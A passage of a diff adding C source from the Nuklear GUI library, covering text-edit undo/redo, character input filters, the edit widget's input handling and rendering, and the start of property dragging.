= (short)(s->redo_char_point - u.delete_length); + + /* now save the characters */ + for (i=0; i < u.delete_length; ++i) + s->undo_char[r->char_storage + i] = + nk_str_rune_at(&state->string, u.where + i); + } + /* now we can carry out the deletion */ + nk_str_delete_runes(&state->string, u.where, u.delete_length); + } + + /* check type of recorded action: */ + if (u.insert_length) { + /* easy case: was a deletion, so we need to insert n characters */ + nk_str_insert_text_runes(&state->string, u.where, + &s->undo_char[u.char_storage], u.insert_length); + s->undo_char_point = (short)(s->undo_char_point - u.insert_length); + } + state->cursor = (short)(u.where + u.insert_length); + + s->undo_point--; + s->redo_point--; +} +NK_API void +nk_textedit_redo(struct nk_text_edit *state) +{ + struct nk_text_undo_state *s = &state->undo; + struct nk_text_undo_record *u, r; + if (s->redo_point == NK_TEXTEDIT_UNDOSTATECOUNT) + return; + + /* we need to do two things: apply the redo record, and create an undo record */ + u = &s->undo_rec[s->undo_point]; + r = s->undo_rec[s->redo_point]; + + /* we KNOW there must be room for the undo record, because the redo record + was derived from an undo record */ + u->delete_length = r.insert_length; + u->insert_length = r.delete_length; + u->where = r.where; + u->char_storage = -1; + + if (r.delete_length) { + /* the redo record requires us to delete characters, so the undo record + needs to store the characters */ + if (s->undo_char_point + u->insert_length > s->redo_char_point) { + u->insert_length = 0; + u->delete_length = 0; + } else { + int i; + u->char_storage = s->undo_char_point; + s->undo_char_point = (short)(s->undo_char_point + u->insert_length); + + /* now save the characters */ + for (i=0; i < u->insert_length; ++i) { + s->undo_char[u->char_storage + i] = + nk_str_rune_at(&state->string, u->where + i); + } + } + nk_str_delete_runes(&state->string, r.where, r.delete_length); + } + + if (r.insert_length) { + /* easy case: need to insert n characters */ + nk_str_insert_text_runes(&state->string, r.where, + &s->undo_char[r.char_storage], r.insert_length); + } + state->cursor = r.where + r.insert_length; + + s->undo_point++; + s->redo_point++; +} +NK_INTERN void +nk_textedit_makeundo_insert(struct nk_text_edit *state, int where, int length) +{ + nk_textedit_createundo(&state->undo, where, 0, length); +} +NK_INTERN void +nk_textedit_makeundo_delete(struct nk_text_edit *state, int where, int length) +{ + int i; + nk_rune *p = nk_textedit_createundo(&state->undo, where, length, 0); + if (p) { + for (i=0; i < length; ++i) + p[i] = nk_str_rune_at(&state->string, where+i); + } +} +NK_INTERN void +nk_textedit_makeundo_replace(struct nk_text_edit *state, int where, + int old_length, int new_length) +{ + int i; + nk_rune *p = nk_textedit_createundo(&state->undo, where, old_length, new_length); + if (p) { + for (i=0; i < old_length; ++i) + p[i] = nk_str_rune_at(&state->string, where+i); + } +} +NK_LIB void +nk_textedit_clear_state(struct nk_text_edit *state, enum nk_text_edit_type type, + nk_plugin_filter filter) +{ + /* reset the state to default */ + state->undo.undo_point = 0; + state->undo.undo_char_point = 0; + state->undo.redo_point = NK_TEXTEDIT_UNDOSTATECOUNT; + state->undo.redo_char_point = NK_TEXTEDIT_UNDOCHARCOUNT; + state->select_end = state->select_start = 0; + state->cursor = 0; + state->has_preferred_x = 0; + state->preferred_x = 0; + state->cursor_at_end_of_line = 0; + state->initialized = 1; + state->single_line = (unsigned char)(type == NK_TEXT_EDIT_SINGLE_LINE); + state->mode = NK_TEXT_EDIT_MODE_VIEW; + state->filter = filter; + state->scrollbar = nk_vec2(0,0); +} +NK_API void +nk_textedit_init_fixed(struct nk_text_edit *state, void *memory, nk_size size) +{ + NK_ASSERT(state); + NK_ASSERT(memory); + if (!state || !memory || !size) return; + NK_MEMSET(state, 0, sizeof(struct nk_text_edit)); + nk_textedit_clear_state(state, NK_TEXT_EDIT_SINGLE_LINE, 0); + nk_str_init_fixed(&state->string, memory, size); +} +NK_API void +nk_textedit_init(struct nk_text_edit *state, struct nk_allocator *alloc, nk_size size) +{ + NK_ASSERT(state); + NK_ASSERT(alloc); + if (!state || !alloc) return; + NK_MEMSET(state, 0, sizeof(struct nk_text_edit)); + nk_textedit_clear_state(state, NK_TEXT_EDIT_SINGLE_LINE, 0); + nk_str_init(&state->string, alloc, size); +} +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +NK_API void +nk_textedit_init_default(struct nk_text_edit *state) +{ + NK_ASSERT(state); + if (!state) return; + NK_MEMSET(state, 0, sizeof(struct nk_text_edit)); + nk_textedit_clear_state(state, NK_TEXT_EDIT_SINGLE_LINE, 0); + nk_str_init_default(&state->string); +} +#endif +NK_API void +nk_textedit_select_all(struct nk_text_edit *state) +{ + NK_ASSERT(state); + state->select_start = 0; + state->select_end = state->string.len; +} +NK_API void +nk_textedit_free(struct nk_text_edit *state) +{ + NK_ASSERT(state); + if (!state) return; + nk_str_free(&state->string); +} + + + + + +/* =============================================================== + * + * FILTER + * + * ===============================================================*/ +NK_API int +nk_filter_default(const struct nk_text_edit *box, nk_rune unicode) +{ + NK_UNUSED(unicode); + NK_UNUSED(box); + return nk_true; +} +NK_API int +nk_filter_ascii(const struct nk_text_edit *box, nk_rune unicode) +{ + NK_UNUSED(box); + if (unicode > 128) return nk_false; + else return nk_true; +} +NK_API int +nk_filter_float(const struct nk_text_edit *box, nk_rune unicode) +{ + NK_UNUSED(box); + if ((unicode < '0' || unicode > '9') && unicode != '.' && unicode != '-') + return nk_false; + else return nk_true; +} +NK_API int +nk_filter_decimal(const struct nk_text_edit *box, nk_rune unicode) +{ + NK_UNUSED(box); + if ((unicode < '0' || unicode > '9') && unicode != '-') + return nk_false; + else return nk_true; +} +NK_API int +nk_filter_hex(const struct nk_text_edit *box, nk_rune unicode) +{ + NK_UNUSED(box); + if ((unicode < '0' || unicode > '9') && + (unicode < 'a' || unicode > 'f') && + (unicode < 'A' || unicode > 'F')) + return nk_false; + else return nk_true; +} +NK_API int +nk_filter_oct(const struct nk_text_edit *box, nk_rune unicode) +{ + NK_UNUSED(box); + if (unicode < '0' || unicode > '7') + return nk_false; + else return nk_true; +} +NK_API int +nk_filter_binary(const struct nk_text_edit *box, nk_rune unicode) +{ + NK_UNUSED(box); + if (unicode != '0' && unicode != '1') + return nk_false; + else return nk_true; +} + +/* =============================================================== + * + * EDIT + * + * ===============================================================*/ +NK_LIB void +nk_edit_draw_text(struct nk_command_buffer *out, + const struct nk_style_edit *style, float pos_x, float pos_y, + float x_offset, const char *text, int byte_len, float row_height, + const struct nk_user_font *font, struct nk_color background, + struct nk_color foreground, int is_selected) +{ + NK_ASSERT(out); + NK_ASSERT(font); + NK_ASSERT(style); + if (!text || !byte_len || !out || !style) return; + + {int glyph_len = 0; + nk_rune unicode = 0; + int text_len = 0; + float line_width = 0; + float glyph_width; + const char *line = text; + float line_offset = 0; + int line_count = 0; + + struct nk_text txt; + txt.padding = nk_vec2(0,0); + txt.background = background; + txt.text = foreground; + + glyph_len = nk_utf_decode(text+text_len, &unicode, byte_len-text_len); + if (!glyph_len) return; + while ((text_len < byte_len) && glyph_len) + { + if (unicode == '\n') { + /* new line separator so draw previous line */ + struct nk_rect label; + label.y = pos_y + line_offset; + label.h = row_height; + label.w = line_width; + label.x = pos_x; + if (!line_count) + label.x += x_offset; + + if (is_selected) /* selection needs to draw different background color */ + nk_fill_rect(out, label, 0, background); + nk_widget_text(out, label, line, (int)((text + text_len) - line), + &txt, NK_TEXT_CENTERED, font); + + text_len++; + line_count++; + line_width = 0; + line = text + text_len; + line_offset += row_height; + glyph_len = nk_utf_decode(text + text_len, &unicode, (int)(byte_len-text_len)); + continue; + } + if (unicode == '\r') { + text_len++; + glyph_len = nk_utf_decode(text + text_len, &unicode, byte_len-text_len); + continue; + } + glyph_width = font->width(font->userdata, font->height, text+text_len, glyph_len); + line_width += (float)glyph_width; + text_len += glyph_len; + glyph_len = nk_utf_decode(text + text_len, &unicode, byte_len-text_len); + continue; + } + if (line_width > 0) { + /* draw last line */ + struct nk_rect label; + label.y = pos_y + line_offset; + label.h = row_height; + label.w = line_width; + label.x = pos_x; + if (!line_count) + label.x += x_offset; + + if (is_selected) + nk_fill_rect(out, label, 0, background); + nk_widget_text(out, label, line, (int)((text + text_len) - line), + &txt, NK_TEXT_LEFT, font); + }} +} +NK_LIB nk_flags +nk_do_edit(nk_flags *state, struct nk_command_buffer *out, + struct nk_rect bounds, nk_flags flags, nk_plugin_filter filter, + struct nk_text_edit *edit, const struct nk_style_edit *style, + struct nk_input *in, const struct nk_user_font *font) +{ + struct nk_rect area; + nk_flags ret = 0; + float row_height; + char prev_state = 0; + char is_hovered = 0; + char select_all = 0; + char cursor_follow = 0; + struct nk_rect old_clip; + struct nk_rect clip; + + NK_ASSERT(state); + NK_ASSERT(out); + NK_ASSERT(style); + if (!state || !out || !style) + return ret; + + /* visible text area calculation */ + area.x = bounds.x + style->padding.x + style->border; + area.y = bounds.y + style->padding.y + style->border; + area.w = bounds.w - (2.0f * style->padding.x + 2 * style->border); + area.h = bounds.h - (2.0f * style->padding.y + 2 * style->border); + if (flags & NK_EDIT_MULTILINE) + area.w = NK_MAX(0, area.w - style->scrollbar_size.x); + row_height = (flags & NK_EDIT_MULTILINE)? font->height + style->row_padding: area.h; + + /* calculate clipping rectangle */ + old_clip = out->clip; + nk_unify(&clip, &old_clip, area.x, area.y, area.x + area.w, area.y + area.h); + + /* update edit state */ + prev_state = (char)edit->active; + is_hovered = (char)nk_input_is_mouse_hovering_rect(in, bounds); + if (in && in->mouse.buttons[NK_BUTTON_LEFT].clicked && in->mouse.buttons[NK_BUTTON_LEFT].down) { + edit->active = NK_INBOX(in->mouse.pos.x, in->mouse.pos.y, + bounds.x, bounds.y, bounds.w, bounds.h); + } + + /* (de)activate text editor */ + if (!prev_state && edit->active) { + const enum nk_text_edit_type type = (flags & NK_EDIT_MULTILINE) ? + NK_TEXT_EDIT_MULTI_LINE: NK_TEXT_EDIT_SINGLE_LINE; + nk_textedit_clear_state(edit, type, filter); + if (flags & NK_EDIT_AUTO_SELECT) + select_all = nk_true; + if (flags & NK_EDIT_GOTO_END_ON_ACTIVATE) { + edit->cursor = edit->string.len; + in = 0; + } + } else if (!edit->active) edit->mode = NK_TEXT_EDIT_MODE_VIEW; + if (flags & NK_EDIT_READ_ONLY) + edit->mode = NK_TEXT_EDIT_MODE_VIEW; + else if (flags & NK_EDIT_ALWAYS_INSERT_MODE) + edit->mode = NK_TEXT_EDIT_MODE_INSERT; + + ret = (edit->active) ? NK_EDIT_ACTIVE: NK_EDIT_INACTIVE; + if (prev_state != edit->active) + ret |= (edit->active) ? NK_EDIT_ACTIVATED: NK_EDIT_DEACTIVATED; + + /* handle user input */ + if (edit->active && in) + { + int shift_mod = in->keyboard.keys[NK_KEY_SHIFT].down; + const float mouse_x = (in->mouse.pos.x - area.x) + edit->scrollbar.x; + const float mouse_y = (in->mouse.pos.y - area.y) + edit->scrollbar.y; + + /* mouse click handler */ + is_hovered = (char)nk_input_is_mouse_hovering_rect(in, area); + if (select_all) { + nk_textedit_select_all(edit); + } else if (is_hovered && in->mouse.buttons[NK_BUTTON_LEFT].down && + in->mouse.buttons[NK_BUTTON_LEFT].clicked) { + nk_textedit_click(edit, mouse_x, mouse_y, font, row_height); + } else if (is_hovered && in->mouse.buttons[NK_BUTTON_LEFT].down && + (in->mouse.delta.x != 0.0f || in->mouse.delta.y != 0.0f)) { + nk_textedit_drag(edit, mouse_x, mouse_y, font, row_height); + cursor_follow = nk_true; + } else if (is_hovered && in->mouse.buttons[NK_BUTTON_RIGHT].clicked && + in->mouse.buttons[NK_BUTTON_RIGHT].down) { + nk_textedit_key(edit, NK_KEY_TEXT_WORD_LEFT, nk_false, font, row_height); + nk_textedit_key(edit, NK_KEY_TEXT_WORD_RIGHT, nk_true, font, row_height); + cursor_follow = nk_true; + } + + {int i; /* keyboard input */ + int old_mode = edit->mode; + for (i = 0; i < NK_KEY_MAX; ++i) { + if (i == NK_KEY_ENTER || i == NK_KEY_TAB) continue; /* special case */ + if (nk_input_is_key_pressed(in, (enum nk_keys)i)) { + nk_textedit_key(edit, (enum nk_keys)i, shift_mod, font, row_height); + cursor_follow = nk_true; + } + } + if (old_mode != edit->mode) { + in->keyboard.text_len = 0; + }} + + /* text input */ + edit->filter = filter; + if (in->keyboard.text_len) { + nk_textedit_text(edit, in->keyboard.text, in->keyboard.text_len); + cursor_follow = nk_true; + in->keyboard.text_len = 0; + } + + /* enter key handler */ + if (nk_input_is_key_pressed(in, NK_KEY_ENTER)) { + cursor_follow = nk_true; + if (flags & NK_EDIT_CTRL_ENTER_NEWLINE && shift_mod) + nk_textedit_text(edit, "\n", 1); + else if (flags & NK_EDIT_SIG_ENTER) + ret |= NK_EDIT_COMMITED; + else nk_textedit_text(edit, "\n", 1); + } + + /* cut & copy handler */ + {int copy= nk_input_is_key_pressed(in, NK_KEY_COPY); + int cut = nk_input_is_key_pressed(in, NK_KEY_CUT); + if ((copy || cut) && (flags & NK_EDIT_CLIPBOARD)) + { + int glyph_len; + nk_rune unicode; + const char *text; + int b = edit->select_start; + int e = edit->select_end; + + int begin = NK_MIN(b, e); + int end = NK_MAX(b, e); + text = nk_str_at_const(&edit->string, begin, &unicode, &glyph_len); + if (edit->clip.copy) + edit->clip.copy(edit->clip.userdata, text, end - begin); + if (cut && !(flags & NK_EDIT_READ_ONLY)){ + nk_textedit_cut(edit); + cursor_follow = nk_true; + } + }} + + /* paste handler */ + {int paste = nk_input_is_key_pressed(in, NK_KEY_PASTE); + if (paste && (flags & NK_EDIT_CLIPBOARD) && edit->clip.paste) { + edit->clip.paste(edit->clip.userdata, edit); + cursor_follow = nk_true; + }} + + /* tab handler */ + {int tab = nk_input_is_key_pressed(in, NK_KEY_TAB); + if (tab && (flags & NK_EDIT_ALLOW_TAB)) { + nk_textedit_text(edit, " ", 4); + cursor_follow = nk_true; + }} + } + + /* set widget state */ + if (edit->active) + *state = NK_WIDGET_STATE_ACTIVE; + else nk_widget_state_reset(state); + + if (is_hovered) + *state |= NK_WIDGET_STATE_HOVERED; + + /* DRAW EDIT */ + {const char *text = nk_str_get_const(&edit->string); + int len = nk_str_len_char(&edit->string); + + {/* select background colors/images */ + const struct nk_style_item *background; + if (*state & NK_WIDGET_STATE_ACTIVED) + background = &style->active; + else if (*state & NK_WIDGET_STATE_HOVER) + background = &style->hover; + else background = &style->normal; + + /* draw background frame */ + if (background->type == NK_STYLE_ITEM_COLOR) { + nk_stroke_rect(out, bounds, style->rounding, style->border, style->border_color); + nk_fill_rect(out, bounds, style->rounding, background->data.color); + } else nk_draw_image(out, bounds, &background->data.image, nk_white);} + + area.w = NK_MAX(0, area.w - style->cursor_size); + if (edit->active) + { + int total_lines = 1; + struct nk_vec2 text_size = nk_vec2(0,0); + + /* text pointer positions */ + const char *cursor_ptr = 0; + const char *select_begin_ptr = 0; + const char *select_end_ptr = 0; + + /* 2D pixel positions */ + struct nk_vec2 cursor_pos = nk_vec2(0,0); + struct nk_vec2 selection_offset_start = nk_vec2(0,0); + struct nk_vec2 selection_offset_end = nk_vec2(0,0); + + int selection_begin = NK_MIN(edit->select_start, edit->select_end); + int selection_end = NK_MAX(edit->select_start, edit->select_end); + + /* calculate total line count + total space + cursor/selection position */ + float line_width = 0.0f; + if (text && len) + { + /* utf8 encoding */ + float glyph_width; + int glyph_len = 0; + nk_rune unicode = 0; + int text_len = 0; + int glyphs = 0; + int row_begin = 0; + + glyph_len = nk_utf_decode(text, &unicode, len); + glyph_width = font->width(font->userdata, font->height, text, glyph_len); + line_width = 0; + + /* iterate all lines */ + while ((text_len < len) && glyph_len) + { + /* set cursor 2D position and line */ + if (!cursor_ptr && glyphs == edit->cursor) + { + int glyph_offset; + struct nk_vec2 out_offset; + struct nk_vec2 row_size; + const char *remaining; + + /* calculate 2d position */ + cursor_pos.y = (float)(total_lines-1) * row_height; + row_size = nk_text_calculate_text_bounds(font, text+row_begin, + text_len-row_begin, row_height, &remaining, + &out_offset, &glyph_offset, NK_STOP_ON_NEW_LINE); + cursor_pos.x = row_size.x; + cursor_ptr = text + text_len; + } + + /* set start selection 2D position and line */ + if (!select_begin_ptr && edit->select_start != edit->select_end && + glyphs == selection_begin) + { + int glyph_offset; + struct nk_vec2 out_offset; + struct nk_vec2 row_size; + const char *remaining; + + /* calculate 2d position */ + selection_offset_start.y = (float)(NK_MAX(total_lines-1,0)) * row_height; + row_size = nk_text_calculate_text_bounds(font, text+row_begin, + text_len-row_begin, row_height, &remaining, + &out_offset, &glyph_offset, NK_STOP_ON_NEW_LINE); + selection_offset_start.x = row_size.x; + select_begin_ptr = text + text_len; + } + + /* set end selection 2D position and line */ + if (!select_end_ptr && edit->select_start != edit->select_end && + glyphs == selection_end) + { + int glyph_offset; + struct nk_vec2 out_offset; + struct nk_vec2 row_size; + const char *remaining; + + /* calculate 2d position */ + selection_offset_end.y = (float)(total_lines-1) * row_height; + row_size = nk_text_calculate_text_bounds(font, text+row_begin, + text_len-row_begin, row_height, &remaining, + &out_offset, &glyph_offset, NK_STOP_ON_NEW_LINE); + selection_offset_end.x = row_size.x; + select_end_ptr = text + text_len; + } + if (unicode == '\n') { + text_size.x = NK_MAX(text_size.x, line_width); + total_lines++; + line_width = 0; + text_len++; + glyphs++; + row_begin = text_len; + glyph_len = nk_utf_decode(text + text_len, &unicode, len-text_len); + glyph_width = font->width(font->userdata, font->height, text+text_len, glyph_len); + continue; + } + + glyphs++; + text_len += glyph_len; + line_width += (float)glyph_width; + + glyph_len = nk_utf_decode(text + text_len, &unicode, len-text_len); + glyph_width = font->width(font->userdata, font->height, + text+text_len, glyph_len); + continue; + } + text_size.y = (float)total_lines * row_height; + + /* handle case when cursor is at end of text buffer */ + if (!cursor_ptr && edit->cursor == edit->string.len) { + cursor_pos.x = line_width; + cursor_pos.y = text_size.y - row_height; + } + } + { + /* scrollbar */ + if (cursor_follow) + { + /* update scrollbar to follow cursor */ + if (!(flags & NK_EDIT_NO_HORIZONTAL_SCROLL)) { + /* horizontal scroll */ + const float scroll_increment = area.w * 0.25f; + if (cursor_pos.x < edit->scrollbar.x) + edit->scrollbar.x = (float)(int)NK_MAX(0.0f, cursor_pos.x - scroll_increment); + if (cursor_pos.x >= edit->scrollbar.x + area.w) + edit->scrollbar.x = (float)(int)NK_MAX(0.0f, edit->scrollbar.x + scroll_increment); + } else edit->scrollbar.x = 0; + + if (flags & NK_EDIT_MULTILINE) { + /* vertical scroll */ + if (cursor_pos.y < edit->scrollbar.y) + edit->scrollbar.y = NK_MAX(0.0f, cursor_pos.y - row_height); + if (cursor_pos.y >= edit->scrollbar.y + area.h) + edit->scrollbar.y = edit->scrollbar.y + row_height; + } else edit->scrollbar.y = 0; + } + + /* scrollbar widget */ + if (flags & NK_EDIT_MULTILINE) + { + nk_flags ws; + struct nk_rect scroll; + float scroll_target; + float scroll_offset; + float scroll_step; + float scroll_inc; + + scroll = area; + scroll.x = (bounds.x + bounds.w - style->border) - style->scrollbar_size.x; + scroll.w = style->scrollbar_size.x; + + scroll_offset = edit->scrollbar.y; + scroll_step = scroll.h * 0.10f; + scroll_inc = scroll.h * 0.01f; + scroll_target = text_size.y; + edit->scrollbar.y = nk_do_scrollbarv(&ws, out, scroll, 0, + scroll_offset, scroll_target, scroll_step, scroll_inc, + &style->scrollbar, in, font); + } + } + + /* draw text */ + {struct nk_color background_color; + struct nk_color text_color; + struct nk_color sel_background_color; + struct nk_color sel_text_color; + struct nk_color cursor_color; + struct nk_color cursor_text_color; + const struct nk_style_item *background; + nk_push_scissor(out, clip); + + /* select correct colors to draw */ + if (*state & NK_WIDGET_STATE_ACTIVED) { + background = &style->active; + text_color = style->text_active; + sel_text_color = style->selected_text_hover; + sel_background_color = style->selected_hover; + cursor_color = style->cursor_hover; + cursor_text_color = style->cursor_text_hover; + } else if (*state & NK_WIDGET_STATE_HOVER) { + background = &style->hover; + text_color = style->text_hover; + sel_text_color = style->selected_text_hover; + sel_background_color = style->selected_hover; + cursor_text_color = style->cursor_text_hover; + cursor_color = style->cursor_hover; + } else { + background = &style->normal; + text_color = style->text_normal; + sel_text_color = style->selected_text_normal; + sel_background_color = style->selected_normal; + cursor_color = style->cursor_normal; + cursor_text_color = style->cursor_text_normal; + } + if (background->type == NK_STYLE_ITEM_IMAGE) + background_color = nk_rgba(0,0,0,0); + else background_color = background->data.color; + + + if (edit->select_start == edit->select_end) { + /* no selection so just draw the complete text */ + const char *begin = nk_str_get_const(&edit->string); + int l = nk_str_len_char(&edit->string); + nk_edit_draw_text(out, style, area.x - edit->scrollbar.x, + area.y - edit->scrollbar.y, 0, begin, l, row_height, font, + background_color, text_color, nk_false); + } else { + /* edit has selection so draw 1-3 text chunks */ + if (edit->select_start != edit->select_end && selection_begin > 0){ + /* draw unselected text before selection */ + const char *begin = nk_str_get_const(&edit->string); + NK_ASSERT(select_begin_ptr); + nk_edit_draw_text(out, style, area.x - edit->scrollbar.x, + area.y - edit->scrollbar.y, 0, begin, (int)(select_begin_ptr - begin), + row_height, font, background_color, text_color, nk_false); + } + if (edit->select_start != edit->select_end) { + /* draw selected text */ + NK_ASSERT(select_begin_ptr); + if (!select_end_ptr) { + const char *begin = nk_str_get_const(&edit->string); + select_end_ptr = begin + nk_str_len_char(&edit->string); + } + nk_edit_draw_text(out, style, + area.x - edit->scrollbar.x, + area.y + selection_offset_start.y - edit->scrollbar.y, + selection_offset_start.x, + select_begin_ptr, (int)(select_end_ptr - select_begin_ptr), + row_height, font, sel_background_color, sel_text_color, nk_true); + } + if ((edit->select_start != edit->select_end && + selection_end < edit->string.len)) + { + /* draw unselected text after selected text */ + const char *begin = select_end_ptr; + const char *end = nk_str_get_const(&edit->string) + + nk_str_len_char(&edit->string); + NK_ASSERT(select_end_ptr); + nk_edit_draw_text(out, style, + area.x - edit->scrollbar.x, + area.y + selection_offset_end.y - edit->scrollbar.y, + selection_offset_end.x, + begin, (int)(end - begin), row_height, font, + background_color, text_color, nk_true); + } + } + + /* cursor */ + if (edit->select_start == edit->select_end) + { + if (edit->cursor >= nk_str_len(&edit->string) || + (cursor_ptr && *cursor_ptr == '\n')) { + /* draw cursor at end of line */ + struct nk_rect cursor; + cursor.w = style->cursor_size; + cursor.h = font->height; + cursor.x = area.x + cursor_pos.x - edit->scrollbar.x; + cursor.y = area.y + cursor_pos.y + row_height/2.0f - cursor.h/2.0f; + cursor.y -= edit->scrollbar.y; + nk_fill_rect(out, cursor, 0, cursor_color); + } else { + /* draw cursor inside text */ + int glyph_len; + struct nk_rect label; + struct nk_text txt; + + nk_rune unicode; + NK_ASSERT(cursor_ptr); + glyph_len = nk_utf_decode(cursor_ptr, &unicode, 4); + + label.x = area.x + cursor_pos.x - edit->scrollbar.x; + label.y = area.y + cursor_pos.y - edit->scrollbar.y; + label.w = font->width(font->userdata, font->height, cursor_ptr, glyph_len); + label.h = row_height; + + txt.padding = nk_vec2(0,0); + txt.background = cursor_color;; + txt.text = cursor_text_color; + nk_fill_rect(out, label, 0, cursor_color); + nk_widget_text(out, label, cursor_ptr, glyph_len, &txt, NK_TEXT_LEFT, font); + } + }} + } else { + /* not active so just draw text */ + int l = nk_str_len_char(&edit->string); + const char *begin = nk_str_get_const(&edit->string); + + const struct nk_style_item *background; + struct nk_color background_color; + struct nk_color text_color; + nk_push_scissor(out, clip); + if (*state & NK_WIDGET_STATE_ACTIVED) { + background = &style->active; + text_color = style->text_active; + } else if (*state & NK_WIDGET_STATE_HOVER) { + background = &style->hover; + text_color = style->text_hover; + } else { + background = &style->normal; + text_color = style->text_normal; + } + if (background->type == NK_STYLE_ITEM_IMAGE) + background_color = nk_rgba(0,0,0,0); + else background_color = background->data.color; + nk_edit_draw_text(out, style, area.x - edit->scrollbar.x, + area.y - edit->scrollbar.y, 0, begin, l, row_height, font, + background_color, text_color, nk_false); + } + nk_push_scissor(out, old_clip);} + return ret; +} +NK_API void +nk_edit_focus(struct nk_context *ctx, nk_flags flags) +{ + nk_hash hash; + struct nk_window *win; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return; + + win = ctx->current; + hash = win->edit.seq; + win->edit.active = nk_true; + win->edit.name = hash; + if (flags & NK_EDIT_ALWAYS_INSERT_MODE) + win->edit.mode = NK_TEXT_EDIT_MODE_INSERT; +} +NK_API void +nk_edit_unfocus(struct nk_context *ctx) +{ + struct nk_window *win; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return; + + win = ctx->current; + win->edit.active = nk_false; + win->edit.name = 0; +} +NK_API nk_flags +nk_edit_string(struct nk_context *ctx, nk_flags flags, + char *memory, int *len, int max, nk_plugin_filter filter) +{ + nk_hash hash; + nk_flags state; + struct nk_text_edit *edit; + struct nk_window *win; + + NK_ASSERT(ctx); + NK_ASSERT(memory); + NK_ASSERT(len); + if (!ctx || !memory || !len) + return 0; + + filter = (!filter) ? nk_filter_default: filter; + win = ctx->current; + hash = win->edit.seq; + edit = &ctx->text_edit; + nk_textedit_clear_state(&ctx->text_edit, (flags & NK_EDIT_MULTILINE)? + NK_TEXT_EDIT_MULTI_LINE: NK_TEXT_EDIT_SINGLE_LINE, filter); + + if (win->edit.active && hash == win->edit.name) { + if (flags & NK_EDIT_NO_CURSOR) + edit->cursor = nk_utf_len(memory, *len); + else edit->cursor = win->edit.cursor; + if (!(flags & NK_EDIT_SELECTABLE)) { + edit->select_start = win->edit.cursor; + edit->select_end = win->edit.cursor; + } else { + edit->select_start = win->edit.sel_start; + edit->select_end = win->edit.sel_end; + } + edit->mode = win->edit.mode; + edit->scrollbar.x = (float)win->edit.scrollbar.x; + edit->scrollbar.y = (float)win->edit.scrollbar.y; + edit->active = nk_true; + } else edit->active = nk_false; + + max = NK_MAX(1, max); + *len = NK_MIN(*len, max-1); + nk_str_init_fixed(&edit->string, memory, (nk_size)max); + edit->string.buffer.allocated = (nk_size)*len; + edit->string.len = nk_utf_len(memory, *len); + state = nk_edit_buffer(ctx, flags, edit, filter); + *len = (int)edit->string.buffer.allocated; + + if (edit->active) { + win->edit.cursor = edit->cursor; + win->edit.sel_start = edit->select_start; + win->edit.sel_end = edit->select_end; + win->edit.mode = edit->mode; + win->edit.scrollbar.x = (nk_uint)edit->scrollbar.x; + win->edit.scrollbar.y = (nk_uint)edit->scrollbar.y; + } return state; +} +NK_API nk_flags +nk_edit_buffer(struct nk_context *ctx, nk_flags flags, + struct nk_text_edit *edit, nk_plugin_filter filter) +{ + struct nk_window *win; + struct nk_style *style; + struct nk_input *in; + + enum nk_widget_layout_states state; + struct nk_rect bounds; + + nk_flags ret_flags = 0; + unsigned char prev_state; + nk_hash hash; + + /* make sure correct values */ + NK_ASSERT(ctx); + NK_ASSERT(edit); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + style = &ctx->style; + state = nk_widget(&bounds, ctx); + if (!state) return state; + in = (win->layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + + /* check if edit is currently hot item */ + hash = win->edit.seq++; + if (win->edit.active && hash == win->edit.name) { + if (flags & NK_EDIT_NO_CURSOR) + edit->cursor = edit->string.len; + if (!(flags & NK_EDIT_SELECTABLE)) { + edit->select_start = edit->cursor; + edit->select_end = edit->cursor; + } + if (flags & NK_EDIT_CLIPBOARD) + edit->clip = ctx->clip; + edit->active = (unsigned char)win->edit.active; + } else edit->active = nk_false; + edit->mode = win->edit.mode; + + filter = (!filter) ? nk_filter_default: filter; + prev_state = (unsigned char)edit->active; + in = (flags & NK_EDIT_READ_ONLY) ? 0: in; + ret_flags = nk_do_edit(&ctx->last_widget_state, &win->buffer, bounds, flags, + filter, edit, &style->edit, in, style->font); + + if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) + ctx->style.cursor_active = ctx->style.cursors[NK_CURSOR_TEXT]; + if (edit->active && prev_state != edit->active) { + /* current edit is now hot */ + win->edit.active = nk_true; + win->edit.name = hash; + } else if (prev_state && !edit->active) { + /* current edit is now cold */ + win->edit.active = nk_false; + } return ret_flags; +} +NK_API nk_flags +nk_edit_string_zero_terminated(struct nk_context *ctx, nk_flags flags, + char *buffer, int max, nk_plugin_filter filter) +{ + nk_flags result; + int len = nk_strlen(buffer); + result = nk_edit_string(ctx, flags, buffer, &len, max, filter); + buffer[NK_MIN(NK_MAX(max-1,0), len)] = '\0'; + return result; +} + + + + + +/* =============================================================== + * + * PROPERTY + * + * ===============================================================*/ +NK_LIB void +nk_drag_behavior(nk_flags *state, const struct nk_input *in, + struct nk_rect drag, struct nk_property_variant *variant, + float inc_per_pixel) +{ + int left_mouse_down = in && in->mouse.buttons[NK_BUTTON_LEFT].down; + int left_mouse_click_in_cursor = in && + nk_input_has_mouse_click_down_in_rect(in, NK_BUTTON_LEFT, drag, nk_true); + + nk_widget_state_reset(state); + if (nk_input_is_mouse_hovering_rect(in, drag)) + *state = NK_WIDGET_STATE_HOVERED; + + if (left_mouse_down && left_mouse_click_in_cursor) { + float delta, pixels; + pixels = in->mouse.delta.x; + delta = pixels * inc_per_pixel; + switch (variant->kind) { + default: break; + case NK_PROPERTY_INT: + variant->value.i = variant->value.i + (int)delta; + variant->value.i = NK_CLAMP(variant->min_value.i, variant->value.i, variant->max_value.i); + break; + case NK_PROPERTY_FLOAT: + variant->value.f = variant->value.f + (float)delta; + variant->value.f = NK_CLAMP(variant->min_value.f, variant->value.f, variant->max_value.f); + break; + case NK_PROPERTY_DOUBLE: + variant->value.d = variant->value.d + (double)delta; + variant->value.d = NK_CLAMP(variant->min_value.d, variant->value.d, variant->max_value.d); + break; + } + *state = NK_WIDGET_STATE_ACTIVE; + } + if (*state & NK_WIDGET_STATE_HOVER && !nk_input_is_mouse_prev_hovering_rect(in, drag)) + *state |= NK_WIDGET_STATE_ENTERED; + else if (nk_input_is_mouse_prev_hovering_rect(in, drag)) + *state |= NK_WIDGET_STATE_LEFT; +} +NK_LIB void 